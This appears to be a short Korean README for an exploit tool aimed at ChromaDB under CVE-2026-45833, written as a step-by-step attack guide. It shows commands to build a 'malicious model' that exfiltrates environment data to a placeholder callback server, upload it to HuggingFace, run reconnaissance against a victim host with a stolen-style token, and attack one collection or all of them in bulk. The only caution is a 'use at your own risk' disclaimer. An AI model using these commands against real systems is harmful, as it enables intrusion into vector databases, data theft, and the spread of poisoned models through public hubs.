Project-CVE-2026-45833

CVE-2026-45833 ChromaDB 사용에 따른 위험은 본인이 감수하세요 일부 코드는 수정이 필요합니다.

1. 악성 모델 생성

python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator() gen.generate_model('exfil-model', 'exfil_env', { 'exfil_url': 'http://your-server.com/callback' }) "

2. HuggingFace에 업로드 (수동 또는 API 사용)

3. 정찰 실행

python3 main.py --target http://victim:8000
--token "eyJ..."
--action recon

4. 특정 컬렉션 공격

python3 main.py --target http://victim:8000
--token "eyJ..."
--collection "coll-id-here"
--model "your-username/exfil-model"

5. 모든 컬렉션 대량 공격

python3 main.py --target http://victim:8000
--token "eyJ..."
--action mass
--model "your-username/exfil-model"